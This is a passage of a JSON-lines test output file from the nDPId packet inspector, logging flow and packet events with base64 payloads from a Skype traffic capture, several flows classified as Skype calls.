+00408{"flow_id":65,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":959,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969678,"pkt_ts_usec":254809,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoPRtAAEAGHCfAqAEinTeCjMN2AbvInJlgAAAAAFAEAACnIwAA"} +00686{"flow_id":12,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":962,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969678,"pkt_ts_usec":380830,"pkt_caplen":257,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":257,"pkt_l4_len":223,"pkt":"0NQSxnP1PBXCt3IOCABFAADzJGNAAEAG8tbAqAEiF99JIsNrAbvkkjeTMYDD\/oAZECxrVgAAAQEICj4jF13301nQFgMBALoBAAC2AwNVWh9qIUBTYdqPuvpJ\/EUxWvWdVTCc6qQWuOlUPkFPXAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAQwAAABkAFwAAFGFwcHMuc2t5cGVhc3NldHMuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":963,"source":"skype.pcap","alias":"nDPId-test","flow_id":159,"flow_packet_id":1,"flow_first_seen":1431969678448,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.145","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":159,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":963,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969678,"pkt_ts_usec":448473,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"0NQSxnP1PBXCt3IOCABFAAA28WwAAEARPrfAqAEinTfrkTLdnFYAInUwnFoCL\/MPOOsaaRslv0+ih8hUClTBOiOZV0s="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":963,"source":"skype.pcap","alias":"nDPId-test","flow_id":159,"flow_packet_id":1,"flow_first_seen":1431969678448,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.145","src_port":13021,"dst_port":40022,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00424{"flow_id":87,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":964,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969678,"pkt_ts_usec":448539,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0yERAAEAGkNbAqAEinTeCp8N8nF+W1hdSgdGcA4ARECn+pQAAAQEICj4jF6BOq7X7"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":965,"source":"skype.pcap","alias":"nDPId-test","flow_id":160,"flow_packet_id":1,"flow_first_seen":1431969678448,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.26","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":160,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":965,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969678,"pkt_ts_usec":448540,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABBiiMAAEARDm3AqAEiQTffGjLdnEQALZMdnFwCzKFKSd3cA9PLS4BXWJFRrjZHyG3cJPIPdrTAqEb6jU8VDg=="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":965,"source":"skype.pcap","alias":"nDPId-test","flow_id":160,"flow_packet_id":1,"flow_first_seen":1431969678448,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.26","src_port":13021,"dst_port":40004,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00424{"flow_id":99,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":966,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969678,"pkt_ts_usec":448540,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA09b9AAEAGY1vAqAEinTeCp8N9Abt3wuJHcQen4YARECzwvgAAAQEICj4jF6BOq7eN"} +00463{"flow_id":141,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":967,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969678,"pkt_ts_usec":486903,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABP7\/JAAEAGsyLAqAEinTc4ksOIAbsXgt5RB+ihfoAYECznxQAAAQEICj4jF8ZNhXLb+CbW3lZbBv40\/beInvTLb7s0B7Su\/nEv8OsV"} +00677{"flow_id":18,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":968,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969678,"pkt_ts_usec":578114,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADtqoVAAEAGlEfAqAEiF84hpsNtAbuewXpuGKHN44AYECxwzwAAAQEICj4jGCHsLkk6FgMBALQBAACwAwNVWh9r1BitCFD8cZbUoP0jV12FHPzKsJViTeYgJXwI\/wAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00456{"flow_id":157,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":970,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969679,"pkt_ts_usec":26974,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLE+cAAEAR40fAqAEiwKgBAeRaADUAN2o90\/0BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00456{"flow_id":158,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":971,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969679,"pkt_ts_usec":27153,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABL8bEAAEARBX3AqAEiwKgBAcDQADUANww\/OoYBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00462{"flow_id":143,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":972,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969679,"pkt_ts_usec":106043,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"0NQSxnP1PBXCt3IOCABFAABNgeVAAEAGPO\/AqAEib91KL8OKAbuRyk1PjMr2RYAYECx\/IQAAAQEICj4jGjBNhWCpro9SILG2kEIipiuKXJkgpDduj12IclUwiw=="} +00438{"flow_id":144,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":973,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969679,"pkt_ts_usec":351214,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8McxAAEAGjSLAqAEib91KJsOLnE+UB74KG80ZxoAYECn\/IAAAAQEICj4jGyRNf6OUySqTc3CS7Ig="} +00437{"flow_id":134,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":974,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969679,"pkt_ts_usec":442446,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8UB9AAEAGCQLAqAEinTeCmcOGnEV7WksM7xM3SYAYECgi4wAAAQEICj4jG39OtNyvZO1SW4ugTYc="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":975,"source":"skype.pcap","alias":"nDPId-test","flow_id":161,"flow_packet_id":1,"flow_first_seen":1431969679451,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.12","src_port":50065,"dst_port":40031,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":161,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":975,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969679,"pkt_ts_usec":451353,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAZ+RAAEAG8MXAqAEiQTffDMORnF\/vfD8JAAAAALAC\/\/9szQAAAgQFtAEDAwUBAQgKPiMbhwAAAAAEAgAA"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":976,"source":"skype.pcap","alias":"nDPId-test","flow_id":162,"flow_packet_id":1,"flow_first_seen":1431969679455,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.151","src_port":13021,"dst_port":40017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":162,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":976,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969679,"pkt_ts_usec":455907,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6zKQAAEARzHXAqAEinTeClzLdnFEAJhOjnF4CtwUXw\/VWCApVJdrfxkhI5qU9AKuGw3faL7f5"} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":976,"source":"skype.pcap","alias":"nDPId-test","flow_id":162,"flow_packet_id":1,"flow_first_seen":1431969679455,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.151","src_port":13021,"dst_port":40017,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":977,"source":"skype.pcap","alias":"nDPId-test","flow_id":163,"flow_packet_id":1,"flow_first_seen":1431969679455,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.170","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":163,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":977,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969679,"pkt_ts_usec":455908,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5dCsAAEARu0zAqAEi1cezqjLdnEsAJQhSnGAC6QwwmBRocZoeU0bscPTURL89AdihxLtaI+k="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":977,"source":"skype.pcap","alias":"nDPId-test","flow_id":163,"flow_packet_id":1,"flow_first_seen":1431969679455,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.170","src_port":13021,"dst_port":40011,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":978,"source":"skype.pcap","alias":"nDPId-test","flow_id":164,"flow_packet_id":1,"flow_first_seen":1431969679455,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.176","src_port":13021,"dst_port":40020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":164,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":978,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969679,"pkt_ts_usec":455968,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7lc0AAEARZY3AqAEib91NsDLdnFQAJ2jKnGICi6AMRljZtq+Es\/pWkLbSJ\/TvDoZrPj0F5hXOgQ=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":978,"source":"skype.pcap","alias":"nDPId-test","flow_id":164,"flow_packet_id":1,"flow_first_seen":1431969679455,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.176","src_port":13021,"dst_port":40020,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00438{"flow_id":161,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":979,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969679,"pkt_ts_usec":581118,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYa5BN98MwKgBIpxfw5E\/Sv9r73w\/CqASOJDLRwAAAgQFrAQCCApNoe2VPiMbhwEDAwk="} +00427{"flow_id":161,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":980,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969679,"pkt_ts_usec":581242,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0cmZAAEAG5k\/AqAEiQTffDMORnF\/vfD8KP0r\/bIAQECwh8QAAAQEICj4jHAhNoe2V"} +00553{"flow_id":161,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":981,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969679,"pkt_ts_usec":581781,"pkt_caplen":156,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":156,"pkt_l4_len":122,"pkt":"0NQSxnP1PBXCt3IOCABFAACOIGxAAEAGN\/DAqAEiQTffDMORnF\/vfD8KP0r\/bIAYECwRzAAAAQEICj4jHAhNoe2VfNU8dhpM38DGRSZmxic4e0pEdx+lOUJozRNK0FR\/ZhB0X2eExkEyGGlGIiJpdaUcTRpDGKnG\/6TFMnvwoV63\/D1Ks8iZ9m9UtWLroJGOJ6wteiN4iSbfBKWS"} +00426{"flow_id":161,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":982,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969679,"pkt_ts_usec":712888,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0EtlAADcGTt1BN98MwKgBIpxfw5E\/Sv9s73w\/ZIAQAB0xhgAAAQEICk2h7bU+IxwI"} +00552{"flow_id":161,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":983,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969679,"pkt_ts_usec":718381,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"PBXCt3IO0NQSxnP1CABFAACMEtpAADcGToRBN98MwKgBIpxfw5E\/Sv9s73w\/ZIAYAB0FlwAAAQEICk2h7bc+IxwIlt0ZYO7DGu2FWCBlF0Bb5xxs02nWEvubLRglrGZvYH\/z0Ynn93EbsgdsK\/WVQs9F+qP4CaZfhCUS29ABPhfcnSoTqPnWzzQVQkuA8W6HjI1ag1jpBj\/kBQ=="} +00426{"flow_id":161,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":984,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969679,"pkt_ts_usec":718492,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0uyhAAEAGnY3AqAEiQTffDMORnF\/vfD9kP0r\/xIAQECkgmAAAAQEICj4jHJBNoe23"} +00438{"flow_id":161,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":985,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969679,"pkt_ts_usec":719036,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8M35AAEAGJTDAqAEiQTffDMORnF\/vfD9kP0r\/xIAYECml3QAAAQEICj4jHJBNoe23pd7yTaWfPN4="} +00437{"flow_id":113,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":986,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969679,"pkt_ts_usec":784006,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8v6FAAEAGmXLAqAEinTeCpsOBnFXYqqIiVqVnNYAYECky+AAAAQEICj4jHNFOrGolRtJrmlCDoq4="} +00499{"flow_id":153,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":988,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969679,"pkt_ts_usec":876258,"pkt_caplen":120,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":120,"pkt_l4_len":86,"pkt":"0NQSxnP1PBXCt3IOCABFAABqnWNAAEAGIV3AqAEib91KJsOPAbu0bGIyDtZB8IAYECxcwgAAAQEICj4jHS1Nf6U4DpQ6T7GhI\/HZuALGyyd6FuE62cjswcclHGXEXQQQrFo1hEMiHK+aF1hYQEgpCBKH6FPKIRys"} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":1431969671427,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.141","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":1,"flow_first_seen":1431969673443,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.173","src_port":13021,"dst_port":40017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":147,"flow_packet_id":1,"flow_first_seen":1431969675413,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_first_seen":1431969672489,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.19","src_port":13021,"dst_port":40001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":146,"flow_packet_id":1,"flow_first_seen":1431969675413,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.140","src_port":13021,"dst_port":40003,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":127,"flow_packet_id":1,"flow_first_seen":1431969670418,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.32","src_port":13021,"dst_port":40009,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":154,"flow_packet_id":1,"flow_first_seen":1431969677439,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.166","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":164,"flow_packet_id":1,"flow_first_seen":1431969679455,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.176","src_port":13021,"dst_port":40020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":152,"flow_packet_id":1,"flow_first_seen":1431969676429,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.165","src_port":13021,"dst_port":40020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":138,"flow_packet_id":1,"flow_first_seen":1431969673443,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.149","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":160,"flow_packet_id":1,"flow_first_seen":1431969678448,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.26","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_first_seen":1431969671427,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.28","src_port":13021,"dst_port":40026,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":145,"flow_packet_id":1,"flow_first_seen":1431969675413,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.21","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 